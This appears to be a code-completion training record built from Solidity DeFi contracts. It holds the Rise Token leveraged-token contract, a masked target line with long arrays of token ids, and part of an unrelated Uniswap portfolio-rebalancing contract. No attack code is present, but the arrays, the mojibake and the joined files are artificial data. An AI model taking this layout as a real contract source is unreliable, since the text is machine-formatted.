uint256 _shares,
address _recipient,
address _tokenIn,
uint256 _amountInMax
) external payable;
/**
* @notice Sell Rise Token for tokenOut. The _shares amount of Rise Token will be burned.
* @param _shares The amount of Rise Token to sell
* @param _recipient The recipient of the transaction
* @param _tokenOut The output token
* @param _amountOutMin The minimum amount of output token
*/
function sell(
uint256 _shares,
address _recipient,
address _tokenOut,
uint256 _amountOutMin
) external;
/// โโโ Market makers โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
/**
* Rise Token is designed in such way that users get protection against
* liquidation, while market makers are well-incentivized to execute the
* rebalancing process.
*
* ===== Leveraging Up
* When collateral (ex: gOHM) price is going up, the net-asset value of
* Rise Token (ex: gOHMRISE) will going up and the leverage ratio of
* the Rise Token will going down.
*
* If leverage ratio is below specified minimum leverage ratio (ex: 1.7x),
* Rise Token need to borrow more asset from Rari Fuse (ex: USDC), in order
* to buy more collateral then supply the collateral to Rari Fuse.
*
* If leverageRatio < minLeverageRatio:
* Rise Token want collateral (ex: gOHM)
* Rise Token have liquid asset (ex: USDC)
*
* Market makers can swap collateral to ETH if leverage ratio below minimal
* Leverage ratio.
*
* ===== Leveraging Down
* When collateral (ex: gOHM) price is going down, the net-asset value of
* Rise Token (ex: gOHMRISE) will going down and the leverage ratio of
* the Rise Token will going up.
*
* If leverage ratio is above specified maximum leverage ratio (ex: 2.3x),
* Rise Token need to sell collateral in order to repay debt to Rari Fuse.
*
* If leverageRatio > maxLeverageRatio:
* Rise Token want liquid asset (ex: USDC)
* Rise Token have collateral (ex: gOHM)
*
* Market makers can swap ETH to collateral if leverage ratio above maximum
* Leverage ratio.
*
* -----------
*
* In order to incentives the swap process, Rise Token will give specified
* discount price 0.6%.
*
* swapColleteralForETH -> Market Makers can sell collateral +0.6% above the
* market price
*
* swapETHForCollateral -> Market Makers can buy collateral -0.6% below the
* market price
*
* In this case, market price is determined using Rari Fuse Oracle Adapter.
*
*/
/**
* @notice Swaps collateral for ETH
* @dev Anyone can execute this if leverage ratio is below minimum.
* @param _amountIn The amount of collateral
* @param _amountOutMin The minimum amount of ETH to be received
* @return _amountOut The amount of ETH that received by msg.sender
*/
function swapExactCollateralForETH(
uint256 _amountIn,
uint256 _amountOutMin
) external returns (uint256 _amountOut);
/**
* @notice Swaps ETH for collateral
* @dev Anyone can execute this if leverage ratio is below minimum.
* @param _amountOutMin The minimum amount of collateral
* @return _amountOut The amount of collateral
*/
function swapExactETHForCollateral(
uint256 _amountOutMin
) external payable returns (uint256 _amountOut);
}
////// src/RiseToken.sol
/* pragma solidity 0.8.11; */
/* pragma experimental ABIEncoderV2; */
/* import { ERC20 } from "lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol"; */
/* import { Ownable } from "lib/openzeppelin-contracts/contracts/access/Ownable.sol"; */
/* import { SafeERC20 } from "lib/openzeppelin-contracts/contracts/token/ERC20/utils/SafeERC20.sol"; */
/* import { IRiseToken } from "./interfaces/IRiseToken.sol"; */
/* import { IfERC20 } from "./interfaces/IfERC20.sol"; */
/* import { IFuseComptroller } from "./interfaces/IFuseComptroller.sol"; */
/* import { IWETH9 } from "./interfaces/IWETH9.sol"; */
/* import { RiseTokenFactory } from "./RiseTokenFactory.sol"; */
/* import { UniswapAdapter } from "./adapters/UniswapAdapter.sol"; */
/* import { RariFusePriceOracleAdapter } from "./adapters/RariFusePriceOracleAdapter.sol"; */
/**
* @title Rise Token (2x Long Token)
* @author bayu <[email protected]> <https://github.com/pyk>
* @notice 2x Long Token powered by Rari Fuse
*/
contract RiseToken is IRiseToken, ERC20, Ownable {
/// โโโ Libraries โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
using SafeERC20 for ERC20;
using SafeERC20 for IWETH9;
/// โโโ Storages โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
IWETH9 public weth;
RiseTokenFactory public factory;
UniswapAdapter public uniswapAdapter;
RariFusePriceOracleAdapter public oracleAdapter;
ERC20 public collateral;
ERC20 public debt;
IfERC20 public fCollateral;
IfERC20 public fDebt;
uint256 public totalCollateral;
uint256 public totalDebt;
uint256 public maxBuy = type(uint256).max;
uint256 public fees = 0.001 ether;
uint256 public minLeverageRatio = 1.7 ether;
uint256 public maxLeverageRatio = 2.3 ether;
uint256 public step = 0.2 ether;
uint256 public discount = 0.006 ether; // 0.6%
bool public isInitialized;
uint8 private cdecimals;
uint8 private ddecimals;
/// โโโ Constructors โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
constructor(
string memory _name,
string memory _symbol,
address _factory,
address _fCollateral,
address _fDebt,
address _uniswapAdapter,
address _oracleAdapter
) ERC20(_name, _symbol) {
factory = RiseTokenFactory(_factory);
uniswapAdapter = UniswapAdapter(_uniswapAdapter);
oracleAdapter = RariFusePriceOracleAdapter(_oracleAdapter);
fCollateral = IfERC20(_fCollateral);
fDebt = IfERC20(_fDebt);
collateral = ERC20(fCollateral.underlying());
debt = ERC20(fDebt.underlying());
weth = IWETH9(uniswapAdapter.weth());
cdecimals = collateral.decimals();
ddecimals = debt.decimals();
transferOwnership(factory.owner());
}
/// โโโ Internal functions โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
function supplyThenBorrow(uint256 _collateralAmount, uint256 _borrowAmount) internal {
// Deposit to Rari Fuse
collateral.safeIncreaseAllowance(address(fCollateral), _collateralAmount);
uint256 fuseResponse;
fuseResponse = fCollateral.mint(_collateralAmount);
if (fuseResponse != 0) revert FuseError(fuseResponse);
// Borrow from Rari Fuse
fuseResponse = fDebt.borrow(_borrowAmount);
if (fuseResponse != 0) revert FuseError(fuseResponse);
// Cache the value
totalCollateral = fCollateral.balanceOfUnderlying(address(this));
totalDebt = fDebt.borrowBalanceCurrent(address(this));
}
function repayThenRedeem(uint256 _repayAmount, uint256 _collateralAmount) internal {
// Repay debt to Rari Fuse
debt.safeIncreaseAllowance(address(fDebt), _repayAmount);
uint256 repayResponse = fDebt.repayBorrow(_repayAmount);
if (repayResponse != 0) revert FuseError(repayResponse);
// Redeem from Rari Fuse
uint256 redeemResponse = fCollateral.redeemUnderlying(_collateralAmount);
if (redeemResponse != 0) revert FuseError(redeemResponse);
// Cache the value
totalCollateral = fCollateral.balanceOfUnderlying(address(this));
totalDebt = fDebt.borrowBalanceCurrent(address(this));
}
function onInitialize(uint256 _wethAmount, uint256 _collateralAmount, bytes memory _data) internal {
isInitialized = true;
(InitializeParams memory params) = abi.decode(_data, (InitializeParams));
// Enter Rari Fuse Markets
address[] memory markets = new address[](2);
markets[0] = address(fCollateral);
markets[1] = address(fDebt);
uint256[] memory marketStatus = IFuseComptroller(fCollateral.comptroller()).enterMarkets(markets);
if (marketStatus[0] != 0 && marketStatus[1] != 0) revert FuseError(marketStatus[0]);
supplyThenBorrow(_collateralAmount, params.borrowAmount);
// Swap debt asset to WETH
debt.safeIncreaseAllowance(address(uniswapAdapter), params.borrowAmount);
uint256 wethAmountFromBorrow = uniswapAdapter.swapExactTokensForWETH(address(debt) , params.borrowAmount, 0);
// Get owed WETH
uint256 owedWETH = _wethAmount - wethAmountFromBorrow;
if (owedWETH > params.ethAmount) revert SlippageTooHigh();
// Transfer excess ETH back to the initializer
uint256 excessETH = params.ethAmount - owedWETH;
(bool sent, ) = params.initializer.call{value: excessETH}("");
if (!sent) revert FailedToSendETH(params.initializer, excessETH);
// Send back WETH to uniswap adapter
weth.deposit{ value: owedWETH }(); // Wrap the ETH to WETH
weth.safeTransfer(address(uniswapAdapter), _wethAmount);
// Mint the Rise Token to the initializer
_mint(params.initializer, params.shares);
emit Initialized(params);
}
function onBuy(uint256 _wethAmount, uint256 _collateralAmount, bytes memory _data) internal {
// Parse the data from buy function
(BuyParams memory params) = abi.decode(_data, (BuyParams));
// Supply then borrow in Rari Fuse
supplyThenBorrow(_collateralAmount, params.debtAmount);
// Swap debt asset to WETH
debt.safeIncreaseAllowance(address(uniswapAdapter), params.debtAmount);
uint256 wethAmountFromBorrow = uniswapAdapter.swapExactTokensForWETH(address(debt), params.debtAmount, 0);
// Get owed WETH
uint256 owedWETH = _wethAmount - wethAmountFromBorrow;
if (address(params.tokenIn) == address(0)) {
if (owedWETH > params.amountInMax) revert SlippageTooHigh();
// Transfer excess ETH back to the buyer
uint256 excessETH = params.amountInMax - owedWETH;
(bool sent, ) = params.buyer.call{value: excessETH}("");
if (!sent) revert FailedToSendETH(params.buyer, excessETH);
weth.deposit{ value: owedWETH }();
} else {
params.tokenIn.safeTransferFrom(params.buyer, address(this), params.amountInMax);
params.tokenIn.safeIncreaseAllowance(address(uniswapAdapter), params.amountInMax);
uint256 amountIn = uniswapAdapter.swapTokensForExactWETH(address(params.tokenIn), owedWETH, params.amountInMax);
if (amountIn < params.amountInMax) {
params.tokenIn.safeTransfer(params.buyer, params.amountInMax - amountIn);
}
}
// Transfer WETH to Uniswap Adapter to repay the flash swap
weth.safeTransfer(address(uniswapAdapter), _wethAmount);
// Mint the Rise Token to the buyer
_mint(params.recipient, params.shares);
_mint(factory.feeRecipient(), params.fee);
emit Buy(params);
}
// Need this to handle debt token as output token; We can't re-enter the pool
uint256 private wethLeftFromFlashSwap;
function onSell(uint256 _wethAmount, uint256 _debtAmount, bytes memory _data) internal {
// Parse the data from sell function
(SellParams memory params) = abi.decode(_data, (SellParams));
// Repay then redeem
repayThenRedeem(_debtAmount, params.collateralAmount);
// If tokenOut is collateral then don't swap all collateral to WETH
if (address(params.tokenOut) == address(collateral)) {
// Swap collateral to repay WETH
collateral.safeIncreaseAllowance(address(uniswapAdapter), params.collateralAmount);
uint256 collateralToBuyWETH = uniswapAdapter.swapTokensForExactWETH(address(collateral), _wethAmount, params.collateralAmount);
uint256 collateralLeft = params.collateralAmount - collateralToBuyWETH;
if (collateralLeft < params.amountOutMin) revert SlippageTooHigh();
collateral.safeTransfer(params.recipient, collateralLeft);
} else {
// Swap all collateral to WETH
collateral.safeIncreaseAllowance(address(uniswapAdapter), params.collateralAmount);
uint256 wethAmountFromCollateral = uniswapAdapter.swapExactTokensForWETH(address(collateral), params.collateralAmount, 0);
uint256 wethLeft = wethAmountFromCollateral - _wethAmount;
if (address(params.tokenOut) == address(0)) {
if (wethLeft < params.amountOutMin) revert SlippageTooHigh();
weth.safeIncreaseAllowance(address(weth), wethLeft);
weth.withdraw(wethLeft);
(bool sent, ) = params.recipient.call{value: wethLeft}("");
if (!sent) revert FailedToSendETH(params.recipient, wethLeft);
}
// Cannot enter the pool again
if (address(params.tokenOut) == address(debt)) {
wethLeftFromFlashSwap = wethLeft;
}
if (address(params.tokenOut) != address(0) && (address(params.tokenOut) != address(debt))) {
weth.safeIncreaseAllowance(address(uniswapAdapter), wethLeft);
uint256 amountOut = uniswapAdapter.swapExactWETHForTokens(address(params.tokenOut), wethLeft, params.amountOutMin);
params.tokenOut.safeTransfer(params.recipient, amountOut);
}
}
// Transfer WETH to uniswap adapter
weth.safeTransfer(address(uniswapAdapter), _wethAmount);
// Burn the Rise Token
ERC20(address(this)).safeTransferFrom(params.seller, factory.feeRecipient(), params.fee);
_burn(params.seller, params.shares - params.fee);
emit Sell(params);
}
/// โโโ Owner actions โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
/// @inheritdoc IRiseToken
function setParams(uint256 _minLeverageRatio, uint256 _maxLeverageRatio, uint256 _step, uint256 _discount, uint256 _newMaxBuy) external onlyOwner {
minLeverageRatio = _minLeverageRatio;
maxLeverageRatio = _maxLeverageRatio;
step = _step;
discount = _discount;
maxBuy = _newMaxBuy;
emit ParamsUpdated(minLeverageRatio, maxLeverageRatio, step, discount, maxBuy);
}
/// @inheritdoc IRiseToken
function initialize(InitializeParams memory _params) external payable onlyOwner {
if (isInitialized == true) revert AlreadyInitialized();
if (msg.value == 0) revert InputAmountInvalid();
_params.ethAmount = msg.value;
bytes memory data = abi.encode(FlashSwapType.Initialize, abi.encode(_params));
uniswapAdapter.flashSwapWETHForExactTokens(address(collateral), _params.collateralAmount, data);
}
/// โโโ External functions โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
function onFlashSwapWETHForExactTokens(uint256 _wethAmount, uint256 _amountOut, bytes calldata _data) external {
if (msg.sender != address(uniswapAdapter)) revert NotUniswapAdapter();
// Continue execution based on the type
(FlashSwapType flashSwapType, bytes memory data) = abi.decode(_data, (FlashSwapType,bytes));
if (flashSwapType == FlashSwapType.Initialize) {
onInitialize(_wethAmount, _amountOut, data);
return;
}
if (flashSwapType == FlashSwapType.Buy) {
onBuy(_wethAmount, _amountOut, data);
return;
}
if (flashSwapType == FlashSwapType.Sell) {
onSell(_wethAmount, _amountOut, data);
return;
}
}
/// โโโ Read-only functions โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
function decimals() public view virtual override returns (uint8) {
return cdecimals;
}
/// @inheritdoc IRiseToken
function collateralPerShare() public view returns (uint256 _cps) {
if (!isInitialized) return 0;
_cps = (totalCollateral * (10**cdecimals)) / totalSupply();
}
/// @inheritdoc IRiseToken
function debtPerShare() public view returns (uint256 _dps) {
if (!isInitialized) return 0;
_dps = (totalDebt * (10**cdecimals)) / totalSupply();
}
/// @inheritdoc IRiseToken
function value(uint256 _shares) public view returns (uint256 _value) {
if (!isInitialized) return 0;
if (_shares == 0) return 0;
// Get the collateral & debt amount
uint256 collateralAmount = (_shares * collateralPerShare()) / (10**cdecimals);
uint256 debtAmount = (_shares * debtPerShare()) / (10**cdecimals);
// Get the price in ETH
uint256 cPrice = oracleAdapter.price(address(collateral));
uint256 dPrice = oracleAdapter.price(address(debt));
// Get total value in ETH
uint256 collateralValue = (collateralAmount * cPrice) / (10**cdecimals);
uint256 debtValue = (debtAmount * dPrice) / (10**ddecimals);
// Get Rise Token value in ETH
_value = collateralValue - debtValue;
}
/// @inheritdoc IRiseToken
function value(uint256 _shares, address _quote) public view returns (uint256 _value) {
uint256 valueInETH = value(_shares);
if (valueInETH == 0) return 0;
uint256 quoteDecimals = ERC20(_quote).decimals();
uint256 quotePrice = oracleAdapter.price(_quote);
uint256 amountInETH = (valueInETH * 1e18) / quotePrice;
// Get Rise Token value in _quote token
_value = (amountInETH * (10**quoteDecimals)) / 1e18;
}
/// @inheritdoc IRiseToken
function nav() public view returns (uint256 _nav) {
if (!isInitialized) return 0;
_nav = value(10**cdecimals);
}
/// @inheritdoc IRiseToken
function leverageRatio() public view returns (uint256 _lr) {
if (!isInitialized) return 0;
uint256 collateralPrice = oracleAdapter.price(address(collateral));
uint256 collateralValue = (collateralPerShare() * collateralPrice) / (10**cdecimals);
_lr = (collateralValue * 1e18) / nav();
}
/// โโโ User actions โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
/// @inheritdoc IRiseToken
function buy(uint256 _shares, address _recipient, address _tokenIn, uint256 _amountInMax) external payable {
if (!isInitialized) revert NotInitialized();
if (_shares > maxBuy) revert InputAmountInvalid();
uint256 fee = ((fees * _shares) / 1e18);
uint256 newShares = _shares + fee;
BuyParams memory params = BuyParams({
buyer: msg.sender,
recipient: _recipient,
tokenIn: ERC20(_tokenIn),
amountInMax: _tokenIn == address(0) ? msg.value : _amountInMax,
shares: _shares,
collateralAmount: (newShares * collateralPerShare()) / (10**cdecimals),
debtAmount: (newShares * debtPerShare()) / (10**cdecimals),
fee: fee,
nav: nav()
});
// Perform the flash swap
bytes memory data = abi.encode(FlashSwapType.Buy, abi.encode(params));
uniswapAdapter.flashSwapWETHForExactTokens(address(collateral), params.collateralAmount, data);
}
/// @inheritdoc IRiseToken
function sell(uint256 _shares, address _recipient, address _tokenOut, uint256 _amountOutMin) external {
if (!isInitialized) revert NotInitialized();
uint256 fee = ((fees * _shares) / 1e18);
uint256 newShares = _shares - fee;
SellParams memory params = SellParams({
seller: msg.sender,
recipient: _recipient,
tokenOut: ERC20(_tokenOut),
amountOutMin: _amountOutMin,
shares: _shares,
collateralAmount: (newShares * collateralPerShare()) / (10**cdecimals),
debtAmount: (newShares * debtPerShare()) / (10**cdecimals),
fee: fee,
nav: nav()
});
// Perform the flash swap
bytes memory data = abi.encode(FlashSwapType.Sell, abi.encode(params));
uniswapAdapter.flashSwapWETHForExactTokens(address(debt), params.debtAmount, data);
if (address(params.tokenOut) == address(debt)) {
weth.safeIncreaseAllowance(address(uniswapAdapter), wethLeftFromFlashSwap);
uint256 amountOut = uniswapAdapter.swapExactWETHForTokens(address(params.tokenOut), wethLeftFromFlashSwap, params.amountOutMin);
params.tokenOut.safeTransfer(params.recipient, amountOut);
wethLeftFromFlashSwap = 0;
}
}
/// โโโ Market makers โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
/// @inheritdoc IRiseToken
function swapExactCollateralForETH(uint256 _amountIn, uint256 _amountOutMin) external returns (uint256 _amountOut) {
/// โโโ Checks
if (leverageRatio() > minLeverageRatio) revert NoNeedToRebalance();
if (_amountIn == 0) return 0;
// Discount the price
uint256 price = oracleAdapter.price(address(collateral));
price += (discount * price) / 1e18;
_amountOut = (_amountIn * price) / (1e18);
if (_amountOut < _amountOutMin) revert SlippageTooHigh();
/// โโโ Effects
// Transfer collateral to the contract
collateral.safeTransferFrom(msg.sender, address(this), _amountIn);
// This is our buying power; can't buy collateral more than this
uint256 borrowAmount = ((step * value((10**cdecimals), address(debt)) / 1e18) * totalSupply()) / (10**cdecimals);
supplyThenBorrow(_amountIn, borrowAmount);
// This will revert if _amountOut is too large; we can't buy the _amountIn
debt.safeIncreaseAllowance(address(uniswapAdapter), borrowAmount);
uint256 amountIn = uniswapAdapter.swapTokensForExactWETH(address(debt), _amountOut, borrowAmount);
// If amountIn < borrow; then send back debt token to Rari Fuse
if (amountIn < borrowAmount) {
uint256 repayAmount = borrowAmount - amountIn;
debt.safeIncreaseAllowance(address(fDebt), repayAmount);
uint256 repayResponse = fDebt.repayBorrow(repayAmount);
if (repayResponse != 0) revert FuseError(repayResponse);
totalDebt = fDebt.borrowBalanceCurrent(address(this));
}
// Convert WETH to ETH
weth.safeIncreaseAllowance(address(weth), _amountOut);
weth.withdraw(_amountOut);
/// โโโ Interactions
(bool sent, ) = msg.sender.call{value: _amountOut}("");
if (!sent) revert FailedToSendETH(msg.sender, _amountOut);
}
/// @inheritdoc IRiseToken
function swapExactETHForCollateral(uint256 _amountOutMin) external payable returns (uint256 _amountOut) {
/// โโโ Checks
if (leverageRatio() < maxLeverageRatio) revert NoNeedToRebalance();
if (msg.value == 0) return 0;
// Discount the price
uint256 price = oracleAdapter.price(address(collateral));
price -= (discount * price) / 1e18;
_amountOut = (msg.value * (10**cdecimals)) / price;
if (_amountOut < _amountOutMin) revert SlippageTooHigh();
// Convert ETH to WETH
weth.deposit{value: msg.value}();
// This is our selling power, can't sell more than this
uint256 repayAmount = ((step * value((10**cdecimals), address(debt)) / 1e18) * totalSupply()) / (10**cdecimals);
weth.safeIncreaseAllowance(address(uniswapAdapter), msg.value);
uint256 repayAmountFromETH = uniswapAdapter.swapExactWETHForTokens(address(debt), msg.value, 0);
if (repayAmountFromETH > repayAmount) revert LiquidityIsNotEnough();
/// โโโ Effects
repayThenRedeem(repayAmountFromETH, _amountOut);
/// โโโ Interactions
collateral.safeTransfer(msg.sender, _amountOut);
}
receive() external payable {}
}
|
Convert WETH to ETH
|
weth.safeIncreaseAllowance(address(weth), _amountOut);
| 13,447,465 |
[
1,
2723,
678,
1584,
44,
358,
512,
2455,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
341,
546,
18,
4626,
382,
11908,
7009,
1359,
12,
2867,
12,
91,
546,
3631,
389,
8949,
1182,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// File: contracts/interfaces/IUniswapV2Router.sol
interface IUniswapV2Router {
function swapExactTokensForTokens(uint amountIn,uint amountOutMin,address[] calldata path,address to,uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function WETH() external pure returns (address);
}
// File: contracts/interfaces/IUniswapV2Pair.sol
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: contracts/interfaces/IWETH.sol
interface IWETH {
function deposit() external payable;
function approve(address spender, uint amount) external;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
function allowance(address owner, address spender) external view returns(uint);
function balanceOf(address owner) external view returns(uint);
}
// File: contracts/portfolio.sol
pragma solidity ^0.7.6;
contract Portfolio {
//info
address public owner;
string public name;
uint public totalAssets;
mapping(uint => Asset) public assets;
Config config;
//states
bool configured;
bool rulesSet;
bool started;
bool running;
bool rebalancing;
//interfaces
IUniswapV2Router iUniswapRouter;
IWETH iWeth;
//asset structure
struct Asset {
string name;
string symbol;
address tokenAddress;
uint ratio;
uint amount;
}
//configuration structure
struct Config {
uint slippage; // basis points out of 10,000
uint swapTimeLimit; // time limit until swap expires in seconds
address uniswapRouterAddress;
address wethAddress;
}
constructor(address _owner, string memory _name) public {
//set main info
owner = _owner;
name = _name;
totalAssets = 0;
//set states
configured = false;
rulesSet = false;
started= false;
running = false;
rebalancing = false;
}
modifier onlyOwner {
require(msg.sender == owner, "Only owner can call this function.");
_;
}
function addAsset(string memory _name, string memory _symbol, address _address, uint _ratio) onlyOwner public {
//create Asset
Asset memory asset = Asset(_name, _symbol, _address, _ratio, 0);
//map asset
assets[totalAssets] = asset;
totalAssets++;
}
function changeAssetRatio(uint _assetIndex, uint _assetRatio) onlyOwner public {
assets[_assetIndex].ratio = _assetRatio;
}
function spreadToAssets() internal {
//spread contract balance to assets
uint totalAmount = address(this).balance;
uint currentAmount = totalAmount;
//for every asset
for (uint i=0; i<totalAssets; i++) {
//if current amount is empty
if (currentAmount == 0) {
break;
}
//get asset and ratio
Asset memory asset = assets[i];
uint assetRatio = asset.ratio;
if (assetRatio == 0) {
break;
}
//calculate amountPerAsset
uint amountPerAsset = totalAmount * assetRatio / 10000;
//if current amount is more than amount to asset
if (amountPerAsset <= currentAmount) {
//buy asset for amount
buyAsset(i, amountPerAsset);
//adjust current amount
if (amountPerAsset == currentAmount) {
currentAmount = 0;
}
else {
currentAmount -= amountPerAsset;
}
}
else {
//buy remaining current amount and set to 0
buyAsset(i, currentAmount);
currentAmount = 0;
}
}
}
function buyAsset(uint currentIndex, uint amountIn) internal {
//set asset data
Asset memory asset = assets[currentIndex];
address buyingAddress = asset.tokenAddress;
address wethAddress = config.wethAddress;
require(amountIn <= address(this).balance, "Can't send more than current balance");
if (buyingAddress == wethAddress) {
//deposit to Wrapped WETH
iWeth.deposit{value: amountIn}();
}
else {
//get swap config
uint slippage = config.slippage;
uint swapTimeLimit = config.swapTimeLimit;
//set path
address[] memory path = new address[](2);
path[0] = wethAddress;
path[1] = buyingAddress;
//get amounts out
uint[] memory amountsOut = iUniswapRouter.getAmountsOut(amountIn, path);
uint tokenOutput = amountsOut[1];
//calculate slippage
uint amountOutMin = tokenOutput * (10000 - slippage) / 10000;
//set deadline
uint deadline = block.timestamp + swapTimeLimit;
//swap Eth for tokens and set return amounts
uint[] memory amounts = iUniswapRouter.swapExactETHForTokens{value: amountIn}(amountOutMin, path, address(this), deadline);
}
//update balance
updateAssetBalance(currentIndex);
}
function updateAssetBalance(uint currentIndex) internal {
Asset memory asset = assets[currentIndex];
//set balance
uint balance;
//set Weth address
address wethAddress = config.wethAddress;
if (asset.tokenAddress == wethAddress) {
//get balance
balance = iWeth.balanceOf(address(this));
}
else {
//create pair instance
IUniswapV2Pair pair = IUniswapV2Pair(asset.tokenAddress);
//get balance
balance = pair.balanceOf(address(this));
}
//update balance
assets[currentIndex].amount = balance;
}
function rebalance() onlyOwner public {
//set rebalancing true
rebalancing = true;
//empty assets
emptyAssets();
//spread to assets
spreadToAssets();
//set rebalancing back to false
rebalancing = false;
}
function emptyAssets() onlyOwner internal {
//for every asset
for (uint i=0; i<totalAssets; i++) {
//get asset and ratio
Asset memory asset = assets[i];
//if asset balance not empty
if (asset.amount > 0) {
//empty asset
emptyAsset(i);
}
}
}
